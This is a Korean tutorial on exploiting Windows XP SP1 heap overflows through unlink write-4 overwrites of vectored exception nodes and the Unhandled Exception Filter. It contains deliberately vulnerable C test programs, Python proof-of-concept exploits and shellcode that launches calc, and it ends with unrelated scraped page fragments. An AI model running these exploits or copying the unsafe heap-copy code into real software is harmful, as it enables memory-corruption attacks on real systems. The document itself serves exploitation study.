Heap Overflows For Humans 101 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to ex
|
|
- 애경 목
- 5 years ago
- Views:
Transcription
1 Heap Overflows For Humans 101 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to execute a write 4 primitive 그전까지는해커들은스택오버플로우에서예외처리루틴을호출시키든어떤방법으로든 Execution Pointer (EIP) 를컨트롤할수있었다. 이번문서에서는해커들이직접적으로 EIP와 SEH (Structured Exception Handling) 를이용한 exploit 방식을제외하고시도해왔던여러기술들에대해서논해보도록하겠다. 정해진값으로우리가선택한메모리위치를덮어씀으로서, 임의의 DWORD (double word, 32bit) 값을덮어씌울수있었다. 만약지금이문서를읽을여러분들이중급 / 고급단계의스택기반버퍼오버플로우를아직완전히익히지못한상태라면이분야에일단집중하기를권유한다. 여기서다룰내용들은이미쓸모없고한동안묻혀진기법들이다. 그렇기때문에윈도우힙관리자를익스플로잇하는더새로운기법들을찾는것이라면 1
2 이문서를보고있을필요가없다. 지금당신에게필요한것 : Windows XP 서비스팩 1 디버거 (Olly Debugger, Immunity Debugger, Windbg etc) A C/C++ 컴파일러 (Dev C++, lcc 32, MS visual C etc) 사용하기쉬운스크립터언어 (python, perl etc) 뇌 (Brain..? 그리고.. 혹은? 인내력 ) 어셈블리, C 에대한충분한지식, 그리고디버깅능력 HideDbg 플러그인 under Olldbg 혹은!hidedebug under Immunity Debugger 시간 먼저핵심이되는가장기초적이고기본적인것부터살펴볼것이다. 지금설명할익스플로잇기술들은 Real world" 에적용하기엔이미시대에뒤떨어진기술들이지만여기서짚고넘어가야할점은그다음단계의기술들을배우고자한다면과거의것들도반드시알고또배워야한다는것이다. 자, 그럼본론으로넘어갈까요? What is the heap and how does it work under XP? 힙 (heap) 은프로세스에서내부적으로데이터를담는일종의저장공간 (storage) 이다. 각프로세스는응용프로그램의요구에따라동적으로힙메모리를할당하고해제를하게되는데, 메모리영역관련해서꼭알아야될사항이있다면스택 (stack) 은 0x 을향해서자라고, 반면에힙 (heap) 은 0xFFFFFFFF을향해자란다는것이다. 이말은즉프로세스가 HeapAllocate() 를두번에걸쳐호출하게되면두번째호출된함수가첫번째호출된함수보다더높은포인터를반환한다는것이다. 2
3 따라서, 첫힙블록 (block) 에서오버플로우가발생되면두번째블록에서도오버플로우가발생할수있다는것이다. 모든프로세스는그것이기본프로세스힙이든사용자의요구에의해동적으로할당된힙이든여러형태의자료구조를가진다. 그중에하나가바로 128개의 LIST_ENTRY 구조체배열이다. 이구조체배열은 아직할당되지못한 혹은 할당대기로자유로운메모리블록들 (free blocks) 을추적관리하는역할을한다. 이 LIST의각항목들은두개의포인터를지니고, 이배열은힙구조체 (struct _HEAP {}) 의한멤버로써그것의시작지점은구조체내부에서 0x178 오프셋에위치한다. typedef struct _HEAP { HEAP_ENTRY Entry; ULONG SegmentSignature; ULONG SegmentFlags;... LIST_ENTRY FreeLists; // +0x178 } // _HEAP 구조체 윈도우커널은커널모드드라이버가표준드라이버루틴 (standard driver routines) 과드라이버제공루틴 (driver support routines) 을수행하기위해사용될데이터형태 (data types), 상수들 (enumerations and constants) 을정의해놓았다. LIST_ENTRY는이러한커널에서제공하는데이터구조들 (types/structures) 중하나에속한다. ( 레퍼런스 1) 3
4 윈도우운영체제에서는 LIST_ENTRY 구조체를사용하여이중링크드리스트 (Doubly linked list) 를내부적으로구현해주는데, 이이중링크드리스트는이리스트의머리부분에해당되는 Head 부분 (a list head) 과그뒤로사슬처럼연결되어관리되는각 LIST_ENTRY 구조체항목들 (a list entries) 로이루어져있다. 즉, 리스트머리부분과항목들모두 LIST_ENTRY 구조체형태로이루어져있다. 만약이중링크드리스트가비어있다면리스트항목의개수는당연히 0이다. typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; // Foward Link > 다음 Entry 를가리키는포인터 struct _LIST_ENTRY *Blink; // Backward Link > 이전 Entry 를가리키는포인터 } LIST_ENTRY, *PLIST_ENTRY; // _LIST_ENTRY 구조체 위와같이 LIST_ENTRY 구조체는 LIST_ENTRY 구조체를가리키는 Flink 와 Blink 구조체 포인터를지니고있다. 이멤버들의역할은 LIST_ENTRY 구조체가리스트의어떤 부분에속하느냐에따라조금씩다른데, 이는아래와같이두형태로나뉜다 : 1. 머리부분 (list head) 을표현하는 LIST_ENTRY 구조체의경우, Flink 멤버는리스트의첫번째항목 (Entry) 을가리키게되고, Blink 멤버는리스트의마지막항목을가리키게된다. 만약리스트가비어있다면머리부분의 Flink와 Blink 모두 (both) 머리부분자기자신을가리키게된다. 2. 반면, 리스트의각항목들을표현하는 LIST_ENTRY 구조체의경우, Flink 멤버는리스트의다음항목을가리키고, Blink 멤버는이전항목을가리키는데만약자신이속해있는항목이리스트의맨마지막항목이면 Flink가머리부분을가리키고, 그게아닌리스트의맨처음항목이면 Blink가머리부분을 4
5 가리키게된다. 이중링크드리스트를조작하는루틴은결국엔리스트의머리부분에해당되는 LIST_ENTRY로포인터를가져가게되는데, 이때이루틴이 Flink와 Blink가마지막에만들어진리스트의맨처음항목과마지막항목을가리키게끔업데이트시켜주는일련의코드들을실행시켜준다. 윈도우에서위와같은자료구조를사용하는이유는중간에어떠한새로운항목혹은객체 ( 이문서의경우, 힙 ) 가추가되거나제거될때이중링크드리스트가가장프로그램수행능력에있어서매우효율적이고이상적이기때문이다. 더자세한동작과정이나수행과정은레퍼런스 2) 를참조하면되겠다. 본론으로다시돌아가서힙도이와같은자료구조로관리된다. 힙이할당되기전에할당될첫번째 Free 블록을가리키고있는두포인터는 FreeLists[0] 에담겨있다. 반대로, 이두포인터가가리키고있는주소에는 FreeList[0] 을가리키는두포인터가자리잡고있다. 이점을유념해두고, 이걸생각해보자. 현재시작주소가 0x 인힙메모리와 0x 에아직할당되지않은첫 Free 블록이위치해있다고가정해보자. 그렇다면우리는다음 4가지주소들에대해생각해볼수있다 : 1. 0x (Freelist[0].Flink) 엔 0x ( 첫 Free 블록 ) 을가리키는포인터가존재. 2. 0x006517c (Freelist[0].Blink) 엔 0x ( 첫 Free 블록 ) 을가리키는포인터가존재. 5
6 3. 0x ( 첫 Free 블록 ) 엔 0x (Freelist[0]) 을가리키는포인터가존재. 4. 0x c ( 첫 Free 블록 ) 엔 0x (Freelist[0]) 을가리키는포인터가존재. 이때첫번째 Free 블록이었던힙이할당되게되면 Freelist[0].Flink와 Freelist[0].Blink 포인터들은할당될다른 Free 블록을가리키게끔변경된다. 더나아가, Freelist를가리키던두포인터들은새로할당된블록의끝을가리키게된다. 매번이러한블록들이할당되거나해제될때마다이러한포인터들은계속변경된다. 따라서, 힙의할당과해제는이중링크드리스트를통해서항상추적관리될수있다. 위와같은과정에서이번기법에관련한힙오버플로우취약점이발생하게되는데, 이는리스트항목들의유효성을검증하지않은상태에서포인터변경을했다는점이주된원인이된다. 위와같은상황에서해커가힙오버플로우를일으키게되면이중링크드리스트가새로힙을할당하는과정에서포인터를변경하게되면서임의의 DWORD 값을덮어씌울수있게되는취약점이발생한다. 즉, Flink와 Blink가값이프로그램의의도와는다르게예상치못하게변경될수있다. Exploiting Heap Overflows using Vectored Exception Handling 먼저, heap veh.c 코드를살펴보도록하자. 6
7 #include <windows.h> #include <stdio.h> DWORD MyExceptionHandler(void); int foo(char *buf); int main(int argc, char *argv[]) { HMODULE l; l = LoadLibrary("msvcrt.dll"); l = LoadLibrary("netapi32.dll"); printf("\n\nheapoverflow program.\n"); if(argc!= 2) return printf("args!"); foo(argv[1]); return 0; } DWORD MyExceptionHandler(void) { printf("in exception handler..."); ExitProcess(1); return 0; } int foo(char *buf) { HLOCAL h1 = 0, h2 = 0; HANDLE hp; try{ hp = HeapCreate(0,0x1000,0x10000); if(!hp){ return printf("failed to create heap.\n"); } h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("heap: %.8X %.8X\n",h1,&h1); // Heap Overflow occurs here: strcpy(h1,buf); // This second call to HeapAlloc() is when we gain control h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); 7
8 printf("hello"); } except(myexceptionhandler()) { printf("oops..."); } return 0; } 위의코드에서우리는 try 구문에의해서예외처리가이루어질것을상상할수있다. Windows XP 서비스팩 1에서당신이좋아하는컴파일러로위코드를컴파일하고시작해보도록하자. 커맨드라인에서프로그램을실행시켜보면 argv에 260 바이트크기의인자를넣게되면예외처리루틴이발생하는것을확인할수있다. 당연히우리가이것을디버거에서실행해본다면우리는두번째힙할당부분을장악할 수있게된다. ( 왜냐하면 freelist[0] 이첫번째할당에의해서우리의공격문자열로 업데이트되기때문이다 ) 8
9 MOV DWORD PTR DS:[ECX],EAX MOV DWORD PTR DS:[EAX+4],ECX 위명령어는 EAX의현재값을 ECX의포인터로그리고 ECX의현재값을 EAX+4의포인터가되게끔만들라 라는말이다. 이것으로부터우리는처음할당된메모리블록을해제시키거나끊을수있다는것을알게된다. 결국이것이의미하는바는 : 1. EAX ( 우리가쓸내용 ) : Blink 2. ECX ( 내용을쓸위치 ) : Flink 9
10 So what is the vectored exception handling? Vectored Exception Handling 은윈도우 XP 가첫출시되었을당시에도입된 개념으로써 XP 는힙영역에예외처리등록구조체 (exception registration structures) 란것을담게된다. struct _VECTORED_EXCEPTION_NODE { DWORD m_pnextnode; DWORD m_ppreviousnode; PVOID m_pfnvectoredhandler; } 여기서당신이알아야될점은 m_pnextnode 가다음 _VECTORED_EXCEPTION_NODE 구조체를가리킨다는것이다. 따라서, 우리는 _VECTORED_EXCEPTION_NODE(m_pNextNode) 를가리키는포인터를 우리가임의로변조해서만들어낸포인터로덮어씌우기만하면된다. ( 이덮어씌우는과정은위에서설명했듯이 MOV DWORD PTR DS: [ecx], eax 명령어를이용하면된다. ECX, EAX 컨트롤할수있으니까 ) 그렇다면이걸무엇으로덮어씌울것인가? 일단 _VECTORED_EXCEPTION_NODE 를 배치시키는코드를한번살펴보도록하자. 77F7F49E 8B FC77 MOV ESI,DWORD PTR DS:[77FC3210] 77F7F4A4 EB 0E JMP SHORT ntdll.77f7f4b4 77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP 8] 77F7F4A9 50 PUSH EAX 77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8] 10
11 자보면우리는 _VECTORED_EXCEPTION_NODE 의포인터를 ESI로옮기고조금있다보면 ESI+8을호출하는것을볼수있다. 만약에 _VECTORED_EXCEPTOIN_NODE의다음포인터를쉘코드 0x8를가리키는포인터로덮어씌운다면, 깔끔하게쉘코드위로실행흐름을안착시킬수있을것이다. 그렇다면쉘코드의주소는어떻게찾을것인가? 스택에서찾으면된다. 스택에서찾아낸쉘코드의주소값이 0x12ff40이라고하면결과적으로는 ESI+8을호출하기때문에찾은쉘코드주소에 0x8을빼준값으로덮어씌워야될것이다. 따라서, ECX는 0x0012ff38이될것이다. 그렇다면 m_nextnode ( 다음 _VECTORED_EXCEPTION_NODE을가리키는포인터 ) 의 11
12 값은어디서찾을것인가? 방법은이렇다. Olly( 혹은 immunity debugger) 에서 Access violation이발생하면 shift+f7을눌러코드를진행시킬수있기때문에예외처리루틴을계속분석할수있다. 코드는첫번째 _VECTORED_EXCEPTION_NODE를호출하게끔만들어줄것이다. 그리고그것이당신이찾을포인터를알려줄것이다. 77F60C2C BF 1032FC77 77F60C31 393D 1032FC77 77F60C37 0F85 48E80100 MOV EDI,ntdll.77FC3210 CMP DWORD PTR DS:[77FC3210],EDI JNZ ntdll.77f7f485 보시다시피, 당신이찾으려면 m_pnextnode 값은코드로인해 EDI로담겨지는것을볼수있다. 좋다. 그렇다면그값을 EAX로지정하면된다. 따라서 ECX = 0x77fc3210, EAX = 0x0012ff38가된다. 하지만이게끝이아니다. EAX와 ECX에덮기까지의 offset을당연히구해줘야한다. 그래서 MSF 패턴을생성해서어플리케이션에먹여준다. 여러분들에게보는즐거움을선사하기위해하는방법을짧게나마보여주도록하겠다. msf 패턴은다음과방식으로생성하면된다. Step 1 msf 패턴을만들어라. 12
13 Step 2 공격하려는어플리케이션에먹여라 Step 3 안티디버깅을켜놓고예외처리를발생시킨상태에서오프셋을계산해내라. 개념증명을위해 PoC(Proof of Concept) 익스플로잇을살펴보자. 13
14 import os # _vectored_exception_node exploit = ("\xcc" * 272) # ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210-0x04 # due to second MOV writes to EAX+4 == 0x77fc320c exploit += ("\x0c\x32\xfc\x77") # ECX # EAX ptr to shellcode located at 0012ff40-0x8 == 0012ff38 exploit += ("\x38\xff\x12") # EAX - we dont need the null byte os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit) 지금이단계에서는 ECX 명령이 null 바이트를담고있기때문에그뒤로쉘코드를넣을수없다. 전튜토리얼 Debugging an SEH 0day에서이와같은일을기억할것이다. 하지만이것은항상그렇진않을것이다. 왜냐하면이예제에서는 strcpy를이용해서버퍼에있는값들을힙에다가집어넣기때문이다. 좋다그럼이시점에선 \cc 에다 breakpoint를걸고이것을쉘코드로대체하기만하면된다. 쉘코드의길이는 272 바이트보다크면안될것이다. 왜냐하면이곳이쉘코드를놓을수있는유일한지점이기때문이다. # _vectored_exception_node 14
15 import os import win32api calc = ("\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" + "\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\xd8\xb6" + "\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" + "\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" + "\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" + "\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" + "\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" + "\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" + "\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" + "\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\xa7\x29" + "\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" + "\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" + "\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" + "\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\xa8\x4e" + "\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\xa4\x3b" + "\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\xa1\x93") exploit = ("\x90" * 5) exploit += (calc) exploit += ("\xcc" * (272-len(exploit))) # ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210-0x04 # due to second MOV writes to EAX+4 == 0x77fc320c exploit += ("\x0c\x32\xfc\x77") # ECX # EAX ptr to shellcode located at 0012ff40-0x8 == 0012ff38 exploit += ("\x38\xff\x12") # EAX - we dont need the null byte win32api.winexec(('heap-veh.exe %s') % exploit, 1) Exploiting Heap Overflows using the Unhandled Exception Filter 15
16 Unhandler Exception Filter는어플리케이션이종료되기직전에호출되는마지막예외다. 갑자기어플리케이션크래시가발생할때 예기치않은에러가발생했습니다 라는아주일반적인메세지의원인이된다. 이시점까지, 우리는 EAX와 ECX를컨트를하고두레지스터의오프셋위치를아는단계까지이르렀다. import os exploit = ("\xcc" * 272) exploit += ("\x41" * 4) # ECX exploit += ("\x42" * 4) # EAX exploit += ("\xcc" * 272) os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit) 지난예제와달리, 우리의 hea uef.c 파일은사용자정의예외핸들러가정의된흔적이 없다. 이의미는우리가익스플로잇하는데 Microsofts 의기본 Unhandled Exception Filter 를사용한다는것이다. 아래에 heap uef.c 이다 : #include <stdio.h> #include <windows.h> int foo(char *buf); int main(int argc, char *argv[]) { HMODULE l; l = LoadLibrary("msvcrt.dll"); l = LoadLibrary("netapi32.dll"); printf("\n\nheapoverflow program.\n"); if(argc!= 2) return printf("args!"); foo(argv[1]); return 0; } 16
17 int foo(char *buf) { HLOCAL h1 = 0, h2 = 0; HANDLE hp; hp = HeapCreate(0,0x1000,0x10000); if(!hp) return printf("failed to create heap.\n"); h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("heap: %.8X %.8X\n",h1,&h1); // Heap Overflow occurs here: strcpy(h1,buf); // We gain control of this second call to HeapAlloc h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("hello"); return 0; } 이종류의오버플로우를디버깅할때예외필터가호출되고오프셋이올바른위치에있으려면올리나이뮤니티디버거에내장된안티디버깅기능을켜는것이중요하다. 우리는 4바이트를써서어디로갈수있는지반드시찾아야한다. 이것은 Unhandled Exception Filter에대한포인터가될것이다. 이것은 SetUnhandledExceptionFilter() 에코드를살펴보면찾을수있다. MOV 가 UnhandledExceptionFilter (0x77ed73b4) 주소에값을쓰는것을볼수있다 : 17
18 이시점에서 SetUnhandledExceptionFilter() 가호출되면서 ECX의값을 UnhandledExceptionFilter 주소가가리키는부분에쓰게될것이다. 이부분이처음엔어떻게보면 unlink() 과정에서 ECX를 EAX 혼동될수있는부분이지만우리가여기서하고자하는것은 SetUnhandledExceptionFilter() 함수가 UnhandledExceptionFilter() 함수를호출하는그방식을악용하려는것이다. 따라서, 우리는 ECX가쉘코드로흐름을 (control) 돌려놓을 (pivot) 포인터를가지고있을거라고안심해서말할수있다. 다음에보일코드가당신의의문점을싹사라지게만들어줄것이다. 77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4] 77E BC6 CMP EAX,ESI 77E9311B JE SHORT kernel32.77e E9311D 57 PUSH EDI 77E9311E FFD0 CALL EAX 기본적으로 UnhandledExceptionFilter() 에있는값이 EAX 로파싱되어옮겨지고다음 18
19 코드들을보면머지않아 EAX가호출되는것을확인할수있을것이다. 그래서우리는공격자의포인터를가리키는 UnhandledExceptionFilter() 주소 (77ED73B4 points to 공격자의포인터 ) 를가지고이걸이용하면공격자의포인터는 UnhandledExceptionFiler() 에의해역참조되어 EAX에저장되고호출되어실행된다. 그포인터 ( 밑의 call dword ptr ds:[edi+74] 를말하는것같다 ) 는결국쉘코드혹은쉘코드로되돌릴명령어로제어권을넘길것이다. EDI를살펴보면, EDI+0x78 부분에우리의쉘코드 (payload) 를가리키는포인터가있음 ( 주소값 ) 을확인할수있다. 그래서우리가간단히이포인터를호출할수있으면쉘코드를실행시킬수있다. 그러므로, 우리는 EAX 에들어갈다음과같은명령어주소가필요하다. call dword ptr ds:[edi+74] ( 따라서, EAX = 77C3BBAD) 이명령어는 XP sp1 에 MS 모듈에서쉽게찾을수있다. 19
20 그래서이값을 PoC 에체우고어디에위치하는지확인한다. import os exploit = ("\xcc" * 272) exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[edi+74] exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter() exploit += ("\xcc" * 272) os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit) 물론우리는간단한게쉘코드부분의오프셋을계산하고우리의 JMP 명령어코드와 쉘코드를삽입한다. 20
21 import os calc = ("\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9" "\x44\x80\xc2\x77" # address to WinExec() "\xff\xd1\x90\x90") exploit = ("\x44" * 264) exploit += "\xeb\x14" # our JMP (over the junk and into nops) exploit += ("\x44" * 6) exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[edi+74] exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter() exploit += ("\x90" * 21) exploit += calc os.system('heap-uef.exe ' + exploit) 따란 ~! 21
22 Conclusion: 우리는윈도우 XP sp1 이전에대부분원시적인 Unlink() 익스플로잇을위한두기술을시연했다. 동일한상황에서 RtlEnterCriticalSection 이나 TEB Exception Handler 익스플로잇같은다른테크닉또한적용된다. 이어서윈도우XP sp2 와 3에 Unlink() (HeapAlloc/HeapFree) 익스플로잇을증명하고윈도우힙보호를우회할것이다. PoC's: 레퍼런스 : db.com/exploits/12240/ db.com/exploits/15957/ 1. us/library/windows/hardware/ff563802(v=vs.85).aspx 2. us/library/windows/hardware/ff553197(v=vs.85).aspx 22
Heap Overflow By WraithOfGhost
Heap Overflow - 101 By WraithOfGhost 이전스택오버플로우문서에서예외처리핸들러 (Exception Handler) 를호출하거나직접적인방법을 EIP 레지스터를제어하는방법을보여주었다. 본문서는 EIP / SEH를직접이용하지않고프로그램의실행흐름을제어하는일련의방법들에대하여다룰예정이다. 공격자가정한값을원하는메모리주소에덮어씀으로써임의의 DWORD
More informationDeok9_Exploit Technique
Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security
More informationPoison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow
More information제목
Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling
More information목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단
기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4
More information11장 포인터
Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함
More information<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>
연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.
More information취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환
취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer
More information슬라이드 1
-Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역
More informationA Hierarchical Approach to Interactive Motion Editing for Human-like Figures
단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct
More informationMicrosoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100
2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack
More informationMicrosoft Word - building the win32 shellcode 01.doc
Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode
More information[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi
2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,
More informationA Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning
C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용
More informationPowerPoint Template
BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는
More information슬라이드 1
6-1 리스트 (list) 란순서를가진항목들을표현하는자료구조 리스트를구현하는두가지방법 배열 (array) 을이용하는방법 구현간단 삽입, 삭제시오버헤드 항목의개수제한 연결리스트 (linked list) 를이용하는방법 구현복잡 삽입, 삭제가효율적 크기가제한되지않음 6-2 객체 : n 개의 element 형으로구성된순서있는모임 연산 : add_last(list,
More information커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서
커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드
More informationMicrosoft PowerPoint - ch07 - 포인터 pm0415
2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자
More informationMicrosoft PowerPoint - chap01-C언어개요.pptx
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을
More informationchap 5: Trees
5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경
More information버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습
앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음
More informationCKKeyPro 적용가이드
